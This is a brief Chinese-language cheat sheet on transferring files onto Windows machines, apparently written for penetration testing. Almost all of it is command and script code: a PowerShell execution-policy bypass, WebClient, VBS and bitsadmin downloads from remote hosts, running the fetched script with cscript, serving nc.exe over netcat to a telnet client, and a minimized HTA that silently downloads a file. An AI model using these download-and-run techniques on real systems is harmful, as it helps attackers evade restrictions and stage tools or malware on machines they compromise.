windows下文件传输

1、powershell文件下载 powershell突破限制执行:powershell -ExecutionPolicy Bypass -File .\1.ps1

  1. $d = New-Object System.Net.WebClient
  2. $d.DownloadFile("http://lemon.com/file.zip","c:/1.zip")

2、vbs脚本文件下载

  1. Set xPost=createObject("Microsoft.XMLHTTP")
  2. xPost.Open "GET","http://192.168.206.101/file.zip",0
  3. xPost.Send()
  4. set sGet=createObject("ADODB.Stream")
  5. sGet.Mode=3
  6. sGet.Type=1
  7. sGet.Open()
  8. sGet.Write xPost.ResponseBody
  9. sGet.SaveToFile "c:\file.zip",2

下载执行:

  1. cscript test.vbs

3、bitsadmin win03测试没有,win08有

  1. bitsadmin /transfer n http://lemon.com/file.zip c:\1.zip

4、文件共享 映射了一个,结果没有权限写

  1. net use x: \\127.0.0.1\share /user:centoso.com\userID myPassword

5、使用telnet接收数据

  1. 服务端:nc -lvp 23 < nc.exe
  2. 下载端:telnet ip -f c:\nc.exe

6、hta 保存为.hta文件后运行

  1. <html>
  2. <head>
  3. <script>
  4. var Object = new ActiveXObject("MSXML2.XMLHTTP");
  5. Object.open("GET","http://192.168.206.101/demo.php.zip",false);
  6. Object.send();
  7. if (Object.Status == 200)
  8. {
  9. var Stream = new ActiveXObject("ADODB.Stream");
  10. Stream.Open();
  11. Stream.Type = 1;
  12. Stream.Write(Object.ResponseBody);
  13. Stream.SaveToFile("C:\\demo.zip", 2);
  14. Stream.Close();
  15. }
  16. window.close();
  17. </script>
  18. <HTA:APPLICATION ID="test"
  19. WINDOWSTATE = "minimize">
  20. </head>
  21. <body>
  22. </body>
  23. </html>